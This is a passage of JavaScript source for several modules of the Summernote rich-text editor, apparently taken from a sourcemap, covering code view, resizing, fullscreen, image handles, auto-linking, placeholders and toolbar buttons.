this.$editor.addClass('codeview');\n this.$codable.focus();\n\n // activate CodeMirror as codable\n if (env.hasCodeMirror) {\n const cmEditor = CodeMirror.fromTextArea(this.$codable[0], this.options.codemirror);\n\n // CodeMirror TernServer\n if (this.options.codemirror.tern) {\n const server = new CodeMirror.TernServer(this.options.codemirror.tern);\n cmEditor.ternServer = server;\n cmEditor.on('cursorActivity', (cm) => {\n server.updateArgHints(cm);\n });\n }\n\n cmEditor.on('blur', (event) => {\n this.context.triggerEvent('blur.codeview', cmEditor.getValue(), event);\n });\n\n // CodeMirror hasn't Padding.\n cmEditor.setSize(null, this.$editable.outerHeight());\n this.$codable.data('cmEditor', cmEditor);\n } else {\n this.$codable.on('blur', (event) => {\n this.context.triggerEvent('blur.codeview', this.$codable.val(), event);\n });\n }\n }\n\n /**\n * deactivate code view\n */\n deactivate() {\n // deactivate CodeMirror as codable\n if (env.hasCodeMirror) {\n const cmEditor = this.$codable.data('cmEditor');\n this.$codable.val(cmEditor.getValue());\n cmEditor.toTextArea();\n }\n\n const value = dom.value(this.$codable, this.options.prettifyHtml) || dom.emptyPara;\n const isChange = this.$editable.html() !== value;\n\n this.$editable.html(value);\n this.$editable.height(this.options.height ? this.$codable.height() : 'auto');\n this.$editor.removeClass('codeview');\n\n if (isChange) {\n this.context.triggerEvent('change', this.$editable.html(), this.$editable);\n }\n\n this.$editable.focus();\n\n this.context.invoke('toolbar.updateCodeview', false);\n }\n\n destroy() {\n if (this.isActivated()) {\n this.deactivate();\n }\n }\n}\n","import $ from 'jquery';\nconst EDITABLE_PADDING = 24;\n\nexport default class Statusbar {\n constructor(context) {\n this.$document = $(document);\n this.$statusbar = context.layoutInfo.statusbar;\n this.$editable = context.layoutInfo.editable;\n this.options = context.options;\n }\n\n initialize() {\n if (this.options.airMode || this.options.disableResizeEditor) {\n this.destroy();\n return;\n }\n\n this.$statusbar.on('mousedown', (event) => {\n event.preventDefault();\n event.stopPropagation();\n\n const editableTop = this.$editable.offset().top - this.$document.scrollTop();\n const onMouseMove = (event) => {\n let height = event.clientY - (editableTop + EDITABLE_PADDING);\n\n height = (this.options.minheight > 0) ? Math.max(height, this.options.minheight) : height;\n height = (this.options.maxHeight > 0) ? Math.min(height, this.options.maxHeight) : height;\n\n this.$editable.height(height);\n };\n\n this.$document.on('mousemove', onMouseMove).one('mouseup', () => {\n this.$document.off('mousemove', onMouseMove);\n });\n });\n }\n\n destroy() {\n this.$statusbar.off();\n this.$statusbar.addClass('locked');\n }\n}\n","import $ from 'jquery';\n\nexport default class Fullscreen {\n constructor(context) {\n this.context = context;\n\n this.$editor = context.layoutInfo.editor;\n this.$toolbar = context.layoutInfo.toolbar;\n this.$editable = context.layoutInfo.editable;\n this.$codable = context.layoutInfo.codable;\n\n this.$window = $(window);\n this.$scrollbar = $('html, body');\n\n this.onResize = () => {\n this.resizeTo({\n h: this.$window.height() - this.$toolbar.outerHeight()\n });\n };\n }\n\n resizeTo(size) {\n this.$editable.css('height', size.h);\n this.$codable.css('height', size.h);\n if (this.$codable.data('cmeditor')) {\n this.$codable.data('cmeditor').setsize(null, size.h);\n }\n }\n\n /**\n * toggle fullscreen\n */\n toggle() {\n this.$editor.toggleClass('fullscreen');\n if (this.isFullscreen()) {\n this.$editable.data('orgHeight', this.$editable.css('height'));\n this.$window.on('resize', this.onResize).trigger('resize');\n this.$scrollbar.css('overflow', 'hidden');\n } else {\n this.$window.off('resize', this.onResize);\n this.resizeTo({ h: this.$editable.data('orgHeight') });\n this.$scrollbar.css('overflow', 'visible');\n }\n\n this.context.invoke('toolbar.updateFullscreen', this.isFullscreen());\n }\n\n isFullscreen() {\n return this.$editor.hasClass('fullscreen');\n }\n}\n","import $ from 'jquery';\nimport dom from '../core/dom';\n\nexport default class Handle {\n constructor(context) {\n this.context = context;\n this.$document = $(document);\n this.$editingArea = context.layoutInfo.editingArea;\n this.options = context.options;\n this.lang = this.options.langInfo;\n\n this.events = {\n 'summernote.mousedown': (we, e) => {\n if (this.update(e.target)) {\n e.preventDefault();\n }\n },\n 'summernote.keyup summernote.scroll summernote.change summernote.dialog.shown': () => {\n this.update();\n },\n 'summernote.disable': () => {\n this.hide();\n },\n 'summernote.codeview.toggled': () => {\n this.update();\n }\n };\n }\n\n initialize() {\n this.$handle = $([\n '<div class=\"note-handle\">',\n '<div class=\"note-control-selection\">',\n '<div class=\"note-control-selection-bg\"></div>',\n '<div class=\"note-control-holder note-control-nw\"></div>',\n '<div class=\"note-control-holder note-control-ne\"></div>',\n '<div class=\"note-control-holder note-control-sw\"></div>',\n '<div class=\"',\n (this.options.disableResizeImage ? 'note-control-holder' : 'note-control-sizing'),\n ' note-control-se\"></div>',\n (this.options.disableResizeImage ? '' : '<div class=\"note-control-selection-info\"></div>'),\n '</div>',\n '</div>'\n ].join('')).prependTo(this.$editingArea);\n\n this.$handle.on('mousedown', (event) => {\n if (dom.isControlSizing(event.target)) {\n event.preventDefault();\n event.stopPropagation();\n\n const $target = this.$handle.find('.note-control-selection').data('target');\n const posStart = $target.offset();\n const scrollTop = this.$document.scrollTop();\n\n const onMouseMove = (event) => {\n this.context.invoke('editor.resizeTo', {\n x: event.clientX - posStart.left,\n y: event.clientY - (posStart.top - scrollTop)\n }, $target, !event.shiftKey);\n\n this.update($target[0]);\n };\n\n this.$document\n .on('mousemove', onMouseMove)\n .one('mouseup', (e) => {\n e.preventDefault();\n this.$document.off('mousemove', onMouseMove);\n this.context.invoke('editor.afterCommand');\n });\n\n if (!$target.data('ratio')) { // original ratio.\n $target.data('ratio', $target.height() / $target.width());\n }\n }\n });\n\n // Listen for scrolling on the handle overlay.\n this.$handle.on('wheel', (e) => {\n e.preventDefault();\n this.update();\n });\n }\n\n destroy() {\n this.$handle.remove();\n }\n\n update(target) {\n if (this.context.isDisabled()) {\n return false;\n }\n\n const isImage = dom.isImg(target);\n const $selection = this.$handle.find('.note-control-selection');\n\n this.context.invoke('imagePopover.update', target);\n\n if (isImage) {\n const $image = $(target);\n const position = $image.position();\n const pos = {\n left: position.left + parseInt($image.css('marginLeft'), 10),\n top: position.top + parseInt($image.css('marginTop'), 10)\n };\n\n // exclude margin\n const imageSize = {\n w: $image.outerWidth(false),\n h: $image.outerHeight(false)\n };\n\n $selection.css({\n display: 'block',\n left: pos.left,\n top: pos.top,\n width: imageSize.w,\n height: imageSize.h\n }).data('target', $image); // save current image element.\n\n const origImageObj = new Image();\n origImageObj.src = $image.attr('src');\n\n const sizingText = imageSize.w + 'x' + imageSize.h + ' (' + this.lang.image.original + ': ' + origImageObj.width + 'x' + origImageObj.height + ')';\n $selection.find('.note-control-selection-info').text(sizingText);\n this.context.invoke('editor.saveTarget', target);\n } else {\n this.hide();\n }\n\n return isImage;\n }\n\n /**\n * hide\n *\n * @param {jQuery} $handle\n */\n hide() {\n this.context.invoke('editor.clearTarget');\n this.$handle.children().hide();\n }\n}\n","import $ from 'jquery';\nimport lists from '../core/lists';\nimport key from '../core/key';\n\nconst defaultScheme = 'http://';\nconst linkPattern = /^([A-Za-z][A-Za-z0-9+-.]*\\:[\\/\\/]?|mailto:[A-Z0-9._%+-]+@)?(www\\.)?(.+)$/i;\n\nexport default class AutoLink {\n constructor(context) {\n this.context = context;\n this.events = {\n 'summernote.keyup': (we, e) => {\n if (!e.isDefaultPrevented()) {\n this.handleKeyup(e);\n }\n },\n 'summernote.keydown': (we, e) => {\n this.handleKeydown(e);\n }\n };\n }\n\n initialize() {\n this.lastWordRange = null;\n }\n\n destroy() {\n this.lastWordRange = null;\n }\n\n replace() {\n if (!this.lastWordRange) {\n return;\n }\n\n const keyword = this.lastWordRange.toString();\n const match = keyword.match(linkPattern);\n\n if (match && (match[1] || match[2])) {\n const link = match[1] ? keyword : defaultScheme + keyword;\n const node = $('<a />').html(keyword).attr('href', link)[0];\n\n this.lastWordRange.insertNode(node);\n this.lastWordRange = null;\n this.context.invoke('editor.focus');\n }\n }\n\n handleKeydown(e) {\n if (lists.contains([key.code.ENTER, key.code.SPACE], e.keyCode)) {\n const wordRange = this.context.invoke('editor.createRange').getWordRange();\n this.lastWordRange = wordRange;\n }\n }\n\n handleKeyup(e) {\n if (lists.contains([key.code.ENTER, key.code.SPACE], e.keyCode)) {\n this.replace();\n }\n }\n}\n","import dom from '../core/dom';\n\n/**\n * textarea auto sync.\n */\nexport default class AutoSync {\n constructor(context) {\n this.$note = context.layoutInfo.note;\n this.events = {\n 'summernote.change': () => {\n this.$note.val(context.invoke('code'));\n }\n };\n }\n\n shouldInitialize() {\n return dom.isTextarea(this.$note[0]);\n }\n}\n","import $ from 'jquery';\nexport default class Placeholder {\n constructor(context) {\n this.context = context;\n\n this.$editingArea = context.layoutInfo.editingArea;\n this.options = context.options;\n this.events = {\n 'summernote.init summernote.change': () => {\n this.update();\n },\n 'summernote.codeview.toggled': () => {\n this.update();\n }\n };\n }\n\n shouldInitialize() {\n return !!this.options.placeholder;\n }\n\n initialize() {\n this.$placeholder = $('<div class=\"note-placeholder\">');\n this.$placeholder.on('click', () => {\n this.context.invoke('focus');\n }).text(this.options.placeholder).prependTo(this.$editingArea);\n\n this.update();\n }\n\n destroy() {\n this.$placeholder.remove();\n }\n\n update() {\n const isShow = !this.context.invoke('codeview.isActivated') && this.context.invoke('editor.isEmpty');\n this.$placeholder.toggle(isShow);\n }\n}\n","import $ from 'jquery';\nimport func from '../core/func';\nimport lists from '../core/lists';\nimport env from '../core/env';\n\nexport default class Buttons {\n constructor(context) {\n this.ui = $.summernote.ui;\n this.context = context;\n this.$toolbar = context.layoutInfo.toolbar;\n this.options = context.options;\n this.lang = this.options.langInfo;\n this.invertedKeyMap = func.invertObject(\n this.options.keyMap[env.isMac ? 'mac' : 'pc']\n );\n }\n\n representShortcut(editorMethod) {\n let shortcut = this.invertedKeyMap[editorMethod];\n if (!this.options.shortcuts || !shortcut) {\n return '';\n }\n\n if (env.isMac) {\n shortcut = shortcut.replace('CMD', '⌘').replace('SHIFT', '⇧');\n }\n\n shortcut = shortcut.replace('BACKSLASH', '\\\\')\n .replace('SLASH', '/')\n .replace('LEFTBRACKET', '[')\n .replace('RIGHTBRACKET', ']');\n\n return ' (' + shortcut + ')';\n }\n\n button(o) {\n if (!this.options.tooltip && o.tooltip) {\n delete o.tooltip;\n }\n o.container = this.options.container;\n return this.ui.button(o);\n }\n\n initialize() {\n this.addToolbarButtons();\n this.addImagePopoverButtons();\n this.addLinkPopoverButtons();\n this.addTablePopoverButtons();\n this.fontInstalledMap = {};\n }\n\n destroy() {\n delete this.fontInstalledMap;\n }\n\n isFontInstalled(name) {\n if (!this.fontInstalledMap.hasOwnProperty(name)) {\n this.fontInstalledMap[name] = env.isFontInstalled(name) ||\n lists.contains(this.options.fontNamesIgnoreCheck, name);\n }\n\n return this.fontInstalledMap[name];\n }\n\n isFontDeservedToAdd(name) {\n const genericFamilies = ['sans-serif', 'serif', 'monospace', 'cursive', 'fantasy'];\n name = name.toLowerCase();\n\n return ((name !== '') && this.isFontInstalled(name) && ($.inArray(name, genericFamilies) === -1));\n }\n\n addToolbarButtons() {\n this.context.memo('button.style', () => {\n return this.ui.buttonGroup([\n this.button({\n className: 'dropdown-toggle',\n contents: this.ui.dropdownButtonContents(\n this.ui.icon(this.options.icons.magic), this.options\n ),\n tooltip: this.lang.style.style,\n data: {\n toggle: 'dropdown'\n }\n }),\n this.ui.dropdown({\n className: 'dropdown-style',\n items: this.options.styleTags,\n title: this.lang.style.style,\n template: (item) => {\n if (typeof item === 'string') {\n item = { tag: item, title: (this.lang.style.hasOwnProperty(item) ? this.lang.style[item] : item) };\n }\n\n const tag = item.tag;\n const title = item.title;\n const style = item.style ? ' style=\"' + item.style + '\" ' : '';\n const className = item.className ? ' class=\"' + item.className + '\"' : '';\n\n return '<' + tag + style + className + '>' + title + '</' + tag + '>';\n },\n click: this.context.createInvokeHandler('editor.formatBlock')\n })\n ]).render();\n });\n\n for (let styleIdx = 0, styleLen = this.options.styleTags.length; styleIdx < styleLen; styleIdx++) {\n const item = this.options.styleTags[styleIdx];\n\n this.context.memo('button.style.' + item, () => {\n return this.button({\n className: 'note-btn-style-' + item,\n contents: '<div data-value=\"' + item + '\">' + item.toUpperCase() + '</div>',\n tooltip: this.lang.style[item],\n click: this.context.createInvokeHandler('editor.formatBlock')\n }).render();\n });\n }\n\n this.context.memo('button.bold', () => {\n return this.button({\n className: 'note-btn-bold',\n contents: this.ui.icon(this.options.icons.bold),\n tooltip: this.lang.font.bold + this.representShortcut('bold'),\n click: this.context.createInvokeHandlerAndUpdateState('editor.bold')\n }).render();\n });\n\n this.context.memo('button.italic', () => {\n return this.button({\n className: 'note-btn-italic',\n contents: this.ui.icon(this.options.icons.italic),\n tooltip: this.lang.font.italic + this.representShortcut('italic'),\n click: this.context.createInvokeHandlerAndUpdateState('editor.italic')\n }).render();\n });\n\n this.context.memo('button.underline', () => {\n return this.button({\n className: 'note-btn-underline',\n contents: this.ui.icon(this.options.icons.underline),\n tooltip: this.lang.font.underline + this.representShortcut('underline'),\n click: this.context.createInvokeHandlerAndUpdateState('editor.underline')\n }).render();\n });\n\n this.context.memo('button.clear', () => {\n return this.button({\n contents: this.ui.icon(this.options.icons.eraser),\n tooltip: this.lang.font.clear + this.representShortcut('removeFormat'),\n click: this.context.createInvokeHandler('editor.removeFormat')\n }).render();\n });\n\n this.context.memo('button.strikethrough', () => {\n return this.button({\n className: 'note-btn-strikethrough',\n contents: this.ui.icon(this.options.icons.strikethrough),\n tooltip: this.lang.font.strikethrough + this.representShortcut('strikethrough'),\n click: this.context.createInvokeHandlerAndUpdateState('editor.strikethrough')\n }).render();\n });\n\n this.context.memo('button.superscript', () => {\n return this.button({\n className: 'note-btn-superscript',\n contents: this.ui.icon(this.options.icons.superscript),\n tooltip: this.lang.font.superscript,\n click: this.context.createInvokeHandlerAndUpdateState('editor.superscript')\n }).render();\n });\n\n this.context.memo('button.subscript', () => {\n return this.button({\n className: 'note-btn-subscript',\n contents: this.ui.icon(this.options.icons.subscript),\n tooltip: this.lang.font.subscript,\n click: this.context.createInvokeHandlerAndUpdateState('editor.subscript')\n }).render();\n });\n\n this.context.memo('button.fontname', () => {\n const styleInfo = this.context.invoke('editor.currentStyle');\n\n // Add 'default' fonts into the fontnames array if not exist\n $.each(styleInfo['font-family'].split(','), (idx, fontname) => {\n fontname = fontname.trim().replace(/['\"]+/g, '');\n if (this.isFontDeservedToAdd(fontname)) {\n if ($.inArray(fontname, this.options.fontNames) === -1) {\n this.options.fontNames.push(fontname);\n }\n }\n });\n\n return this.ui.buttonGroup([\n this.button({\n className: 'dropdown-toggle',\n contents: this.ui.dropdownButtonContents(\n '<span class=\"note-current-fontname\"/>', this.options\n ),\n tooltip: this.lang.font.name,\n data: {\n toggle: 'dropdown'\n }\n }),\n this.ui.dropdownCheck({\n className: 'dropdown-fontname',\n checkClassName: this.options.icons.menuCheck,\n items: this.options.fontNames.filter(this.isFontInstalled.bind(this)),\n title: this.lang.font.name,\n template: (item) => {\n return '<span style=\"font-family: \\'' + item + '\\'\">' + item + '</span>';\n },\n click: this.context.createInvokeHandlerAndUpdateState('editor.fontName')\n })\n ]).render();\n });\n\n this.context.memo('button.fontsize', () => {\n return this.ui.buttonGroup([\n this.button({\n className: 'dropdown-toggle',\n contents: this.ui.dropdownButtonContents('<span class=\"note-current-fontsize\"/>', this.options),\n tooltip: this.lang.font.size,\n data: {\n toggle: 'dropdown'\n }\n }),\n this.ui.dropdownCheck({\n className: 'dropdown-fontsize',\n checkClassName: this.options.icons.menuCheck,\n items: this.options.fontSizes,\n title: this.lang.font.size,\n click: this.context.createInvokeHandlerAndUpdateState('editor.fontSize')\n })\n ]).render();\n });\n\n this.context.memo('button.color', () => {\n return this.ui.buttonGroup({\n className: 'note-color',\n children: [\n this.button({\n className: 'note-current-color-button',\n contents: this.ui.icon(this.options.icons.font + ' note-recent-color'),\n tooltip: this.lang.color.recent,\n click: (e) => {\n const $button = $(e.currentTarget);\n this.context.invoke('editor.color', {\n backColor: $button.attr('data-backColor'),\n foreColor: $button.attr('data-foreColor')\n });\n },\n callback: ($button) => {\n const $recentColor = $button.find('.note-recent-color');\n $recentColor.css('background-color', '#FFFF00');\n $button.attr('data-backColor', '#FFFF00');\n }\n }),\n this.button({\n className: 'dropdown-toggle',\n contents: this.ui.dropdownButtonContents('', this.options),\n tooltip: this.lang.color.more,\n data: {\n toggle: 'dropdown'\n }\n }),\n this.ui.dropdown({\n items: [\n '<div class=\"note-palette\">',\n ' <div class=\"note-palette-title\">' + this.lang.color.background + '</div>',\n ' <div>',\n ' <button type=\"button\" class=\"note-color-reset btn btn-light\" data-event=\"backColor\" data-value=\"inherit\">',\n this.lang.color.transparent,\n ' </button>',\n ' </div>',\n ' <div class=\"note-holder\" data-event=\"backColor\"/>',\n '</div>',\n '<div class=\"note-palette\">',\n ' <div class=\"note-palette-title\">' + this.lang.color.foreground + '</div>',\n ' <div>',\n ' <button type=\"button\" class=\"note-color-reset btn btn-light\" data-event=\"removeFormat\" data-value=\"foreColor\">',\n this.lang.color.resetToDefault,\n ' </button>',\n ' </div>',\n ' <div class=\"note-holder\" data-event=\"foreColor\"/>',\n '</div>'\n ].join(''),\n callback: ($dropdown) => {\n $dropdown.find('.note-holder').each((idx, item) => {\n const $holder = $(item);\n $holder.append(this.ui.palette({\n colors: this.options.colors,\n colorsName: this.options.colorsName,\n eventName: $holder.data('event'),\n container: this.options.container,\n tooltip: this.options.tooltip\n }).render());\n });\n },\n click: (event) => {\n const $button = $(event.target);\n const eventName = $button.data('event');\n const value = $button.data('value');\n\n if (eventName && value) {\n const key = eventName === 'backColor' ? 'background-color' : 'color';\n const $color = $button.closest('.note-color').find('.note-recent-color');\n const $currentButton = $button.closest('.note-color').find('.note-current-color-button');\n\n $color.css(key, value);\n $currentButton.attr('data-' + eventName, value);\n this.context.invoke('editor.' + eventName, value);\n }\n }\n })\n ]\n }).render();\n });\n\n this.context.memo('button.ul', () => {\n return this.button({\n contents: this.ui.icon(this.options.icons.unorderedlist),\n tooltip: this.lang.lists.unordered + this.representShortcut('insertUnorderedList'),\n click: this.context.createInvokeHandler('editor.insertUnorderedList')\n }).render();\n });\n\n this.context.memo('button.ol', () => {\n return this.button({\n contents: this.ui.icon(this.options.icons.orderedlist),\n tooltip: this.lang.lists.ordered + this.representShortcut('insertOrderedList'),\n click: this.context.createInvokeHandler('editor.insertOrderedList')\n }).render();\n });\n\n const justifyLeft = this.button({\n contents: this.ui.icon(this.options.icons.alignLeft),\n tooltip: this.lang.paragraph.left + this.representShortcut('justifyLeft'),\n click: this.context.createInvokeHandler('editor.justifyLeft')\n });\n\n const justifyCenter = this.button({\n contents: this.ui.icon(this.options.icons.alignCenter),\n tooltip: this.lang.paragraph.center + this.representShortcut('justifyCenter'),\n click: this.context.createInvokeHandler('editor.justifyCenter')\n });\n\n const justifyRight = this.button({\n contents: this.ui.icon(this.options.icons.alignRight),\n tooltip: this.lang.paragraph.right + this.representShortcut('justifyRight'),\n click: this.context.createInvokeHandler('editor.justifyRight')\n });\n\n const justifyFull = this.button({\n contents: this.ui.icon(this.options.icons.alignJustify),\n tooltip: this.lang.paragraph.justify + this.representShortcut('justifyFull'),\n click: this.context.createInvokeHandler('editor.justifyFull')\n });\n\n const outdent = this.button({\n contents: this.ui.icon(this.options.icons.outdent),\n tooltip: this.lang.paragraph.outdent + this.representShortcut('outdent'),\n click: this.context.createInvokeHandler('editor.outdent')\n });\n\n const indent = this.button({\n contents: this.ui.icon(this.options.icons.indent),\n tooltip: this.lang.paragraph.indent + this.representShortcut('indent'),\n click: this.context.createInvokeHandler('editor.indent')\n });\n\n this.context.memo('button.justifyLeft', func.invoke(justifyLeft, 'render'));\n this.context.memo('button.justifyCenter', func.invoke(justifyCenter, 'render'));\n this.context.memo('button.justifyRight', func.invoke(justifyRight, 'render'));\n this.context.memo('button.justifyFull', func.invoke(justifyFull, 'render'));\n this.context.memo('button.outdent', func.invoke(outdent, 'render'));\n this.context.memo('button.indent', func.invoke(indent, 'render'));\n\n this.context.memo('button.paragraph', () => {\n return this.ui.buttonGroup([\n this.button({\n className: 'dropdown-toggle',\n contents: this.ui.dropdownButtonContents(this.ui.icon(this.options.icons.alignLeft), this.options),\n tooltip: this.lang.paragraph.paragraph,\n data: {\n toggle: 'dropdown'\n }\n }),\n this.ui.dropdown([\n this.ui.buttonGroup({\n className: 'note-align',\n children: [justifyLeft, justifyCenter, justifyRight, justifyFull]\n }),\n this.ui.buttonGroup({\n className: 'note-list',\n children: [outdent, indent]\n })\n ])\n ]).render();\n });\n\n this.context.memo('button.height', () => {\n return this.ui.buttonGroup([\n this.button({\n className: 'dropdown-toggle',\n contents: this.ui.dropdownButtonContents(this.ui.icon(this.options.icons.textHeight), this.options),\n tooltip: this.lang.font.height,\n data: {\n toggle: 'dropdown'\n }\n }),\n this.ui.dropdownCheck({\n items: this.options.lineHeights,\n checkClassName: this.options.icons.menuCheck,\n className: 'dropdown-line-height',\n title: this.lang.font.height,\n click: this.context.createInvokeHandler('editor.lineHeight')\n })\n ]).render();\n });\n\n this.context.memo('button.table', () => {\n return this.ui.buttonGroup([\n this.button({\n className: 'dropdown-toggle',\n contents: this.ui.dropdownButtonContents(this.ui.icon(this.options.icons.table), this.options),\n tooltip: this.lang.table.table,\n data: {\n toggle: 'dropdown'\n }\n }),\n this.ui.dropdown({\n title: this.lang.table.table,\n className: 'note-table',\n items: [\n '<div class=\"note-dimension-picker\">',\n ' <div class=\"note-dimension-picker-mousecatcher\" data-event=\"insertTable\" data-value=\"1x1\"/>',\n ' <div class=\"note-dimension-picker-highlighted\"/>',\n ' <div class=\"note-dimension-picker-unhighlighted\"/>',\n '</div>',\n '<div class=\"note-dimension-display\">1 x 1</div>'\n ].join('')\n })\n ], {\n callback: ($node) => {\n const $catcher = $node.find('.note-dimension-picker-mousecatcher');\n $catcher.css({\n width: this.options.insertTableMaxSize.col + 'em',\n height: this.options.insertTableMaxSize.row + 'em'\n }).mousedown(this.context.createInvokeHandler('editor.insertTable'))\n .on('mousemove', this.tableMoveHandler.bind(this));\n }\n }).render();\n });\n\n this.context.memo('button.link', () => {\n return this.button({\n contents: this.ui.icon(this.options.icons.link),\n tooltip: this.lang.link.link + this.representShortcut('linkDialog.show'),\n click: this.context.createInvokeHandler('linkDialog.show')\n }).render();\n });\n\n this.context.memo('button.picture', () => {\n return this.button({\n contents: this.ui.icon(this.options.icons.picture),\n tooltip: this.lang.image.image,\n click: this.context.createInvokeHandler('imageDialog.show')\n }).render();\n });\n\n this.context.memo('button.video', () => {\n return this.button({\n contents: this.ui.icon(this.options.icons.video),\n tooltip: this.lang.video.video,\n click: this.context.createInvokeHandler('videoDialog.show')\n }).render();\n });\n\n this.context.memo('button.hr', () => {\n return this.button({\n contents: this.ui.icon(this.options.icons.minus),\n tooltip: this.lang.hr.insert + this.representShortcut('insertHorizontalRule'),\n click: this.context.createInvokeHandler('editor.insertHorizontalRule')\n }).render();\n });\n\n this.context.memo('button.fullscreen', () => {\n return this.button({\n className: 'btn-fullscreen',\n contents: this.ui.icon(this.options.icons.arrowsAlt),\n tooltip: this.lang.options.fullscreen,\n click: this.context.createInvokeHandler('fullscreen.toggle')\n }).render();\n });\n\n this.context.memo('button.codeview', () => {\n return this.button({\n className: 'btn-codeview',\n contents: this.ui.icon(this.options.icons.code),\n tooltip: this.lang.options.codeview,\n click: this.context.createInvokeHandler('codeview.toggle')\n }).render();\n });\n\n this.context.memo('button.redo', () => {\n return this.button({\n contents: this.ui.icon(this.options.icons.redo),\n tooltip: this.lang.history.redo + this.representShortcut('redo'),\n click: this.context.createInvokeHandler('editor.redo')\n }).render();\n });\n\n this.context.memo('button.undo', () => {\n return this.button({\n contents: this.ui.icon(this.options.icons.undo),\n tooltip: this.lang.history.undo + this.representShortcut('undo'),\n click: this.context.createInvokeHandler('editor.undo')\n }).render();\n });\n\n this.context.memo('button.help', () => {\n return this.button({\n contents: this.ui.icon(this.options.icons.question),\n tooltip: this.lang.options.help,\n click: this.context.createInvokeHandler('helpDialog.show')\n }).render();\n });\n }\n\n /**\n * image : [\n * ['imagesize', ['imageSize100', 'imageSize50', 'imageSize25']],\n * ['float', ['floatLeft', 'floatRight', 'floatNone' ]],\n * ['remove', ['removeMedia']]\n * ],\n */\n addImagePopoverButtons() {\n // Image Size Buttons\n this.context.memo('button.imageSize100', () => {\n return this.button({\n contents: '<span class=\"note-fontsize-10\">100%</span>',\n tooltip: this.lang.image.resizeFull,\n click: this.context.createInvokeHandler('editor.resize', '1')\n }).render();\n });\n this.context.memo('button.imageSize50', () => {\n return this.button({\n contents: '<span class=\"note-fontsize-10\">50%</span>',\n tooltip: this.lang.image.resizeHalf,\n click: this.context.createInvokeHandler('editor.resize', '0.5')\n }).render();\n });\n this.context.memo('button.imageSize25', () => {\n return this.button({\n contents: '<span class=\"note-fontsize-10\">25%</span>',\n tooltip: this.lang.image.resizeQuarter,\n click: this.context.createInvokeHandler('editor.resize', '0.25')\n }).render();\n });\n\n // Float Buttons\n this.context.memo('button.floatLeft', () => {\n return this.button({\n contents: this.ui.icon(this.options.icons.alignLeft),\n tooltip: this.lang.image.floatLeft,\n click: this.context.createInvokeHandler('editor.floatMe', 'left')\n }).render();\n });\n\n this.context.memo('button.floatRight', () => {\n return this.button({\n contents: this.ui.icon(this.options.icons.alignRight),\n tooltip: this.lang.image.floatRight,\n click: this.context.createInvokeHandler('editor.floatMe', 'right')\n }).render();\n });\n\n this.context.memo('button.floatNone', () => {\n return this.button({\n contents: this.ui.icon(this.options.icons.alignJustify),\n tooltip: this.lang.image.floatNone,\n click: this.context.createInvokeHandler('editor.floatMe', 'none')\n }).render();\n });\n\n // Remove Buttons\n this.context.memo('button.removeMedia', () => {\n return this.button({\n contents: this.ui.icon(this.options.icons.trash),\n tooltip: this.lang.image.remove,\n click: this.context.createInvokeHandler('editor.removeMedia')\n }).render();\n });\n }\n\n addLinkPopoverButtons() {\n this.context.memo('button.linkDialogShow', () => {\n return this.button({\n contents: this.ui.icon(this.options.icons.link),\n tooltip: this.lang.link.edit,\n click: this.context.createInvokeHandler('linkDialog.show')\n }).render();\n });\n\n this.context.memo('button.unlink', () => {\n return this.button({\n contents: this.ui.icon(this.options.icons.unlink),\n tooltip: this.lang.link.unlink,\n click: this.context.createInvokeHandler('editor.unlink')\n }).render();\n });\n }\n\n /**\n * table : [\n * ['add', ['addRowDown', 'addRowUp', 'addColLeft', 'addColRight']],\n * ['delete', ['deleteRow', 'deleteCol', 'deleteTable']]\n * ],\n */\n addTablePopoverButtons() {\n this.context.memo('button.addRowUp', () => {\n return this.button({\n className: 'btn-md',\n contents: this.ui.icon(this.options.icons.rowAbove),\n tooltip: this.lang.table.addRowAbove,\n click: this.context.createInvokeHandler('editor.addRow', 'top')\n }).render();\n });\n this.context.memo('button.addRowDown', () => {\n return this.button({\n className: 'btn-md',\n contents: this.ui.icon(this.options.icons.rowBelow),\n tooltip: this.lang.table.addRowBelow,\n click: this.context.createInvokeHandler('editor.addRow', 'bottom')\n }).render();\n });\n this.context.memo('button.addColLeft', () => {\n return this.button({\n className: 'btn-md',\n contents: this.ui.icon(this.options.icons.colBefore),\n tooltip: this.lang.table.addColLeft,\n click: this.context.createInvokeHandler('editor.addCol', 'left')\n }).render();\n });\n this.context.memo('button.addColRight', () => {\n return this.button({\n className: 'btn-md',\n contents: this.ui.icon(this.options.icons.colAfter),\n tooltip: this.lang.table.addColRight,\n click: this.context.createInvokeHandler('editor.addCol', 'right')\n }).render();\n });\n this.context.memo('button.deleteRow', () => {\n return this.button({\n className: 'btn-md',\n contents: this.ui.icon(this.options.icons.rowRemove),\n tooltip: this.lang.table.delRow,\n click: this.context.createInvokeHandler('editor.deleteRow')\n }).render();\n });\n this.context.memo('button.deleteCol', () => {\n return this.button({\n className: 'btn-md',\n contents: this.ui.icon(this.options.icons.colRemove),\n tooltip: this.lang.table.delCol,\n click: this.context.createInvokeHandler('editor.deleteCol')\n }).render();\n });\n this.context.memo('button.deleteTable', () => {\n return this.button({\n className: 'btn-md',\n contents: this.ui.icon(this.options.icons.trash),\n tooltip: this.lang.table.delTable,\n click: this.context.createInvokeHandler('editor.deleteTable')\n }).render();\n });\n }\n\n build($container, groups) {\n for (let groupIdx = 0, groupLen = groups.length; groupIdx < groupLen; groupIdx++) {\n const group = groups[groupIdx];\n const groupName = $.isArray(group) ? group[0] : group;\n const buttons = $.isArray(group) ? ((group.length === 1) ? [group[0]] : group[1]) : [group];\n\n const $group = this.ui.buttonGroup({\n className: 'note-' + groupName\n }).render();\n\n for (let idx = 0, len = buttons.length; idx < len; idx++) {\n const btn = this.context.memo('button.' + buttons[idx]);\n if (btn) {\n $group.append(typeof btn === 'function' ? btn(this.context) : btn);\n }\n }\n $group.appendTo($container);\n }\n }\n\n /**\n * @param {jQuery} [$container]\n */\n updateCurrentStyle($container) {\n const $cont = $container || this.$toolbar;\n\n const styleInfo = this.context.invoke('editor.currentStyle');\n this.updateBtnStates($cont, {\n '.note-btn-bold': () => {\n return styleInfo['font-bold'] === 'bold';\n },\n '.note-btn-italic': () => {\n return styleInfo['font-italic'] === 'italic';\n },\n '.note-btn-underline': () => {\n return styleInfo['font-underline'] === 'underline';\n },\n '.note-btn-subscript': () => {\n return styleInfo['font-subscript'] === 'subscript';\n },\n '.note-btn-superscript': () => {\n return styleInfo['font-superscript'] === 'superscript';\n },\n '.note-btn-strikethrough': () => {\n return styleInfo['font-strikethrough'] === 'strikethrough';\n }\n });\n\n if (styleInfo['font-family']) {\n const fontNames = styleInfo['font-family'].split(',').map((name) => {\n return name.replace(/[\\'\\\"]/g, '')\n .replace(/\\s+$/, '')\n 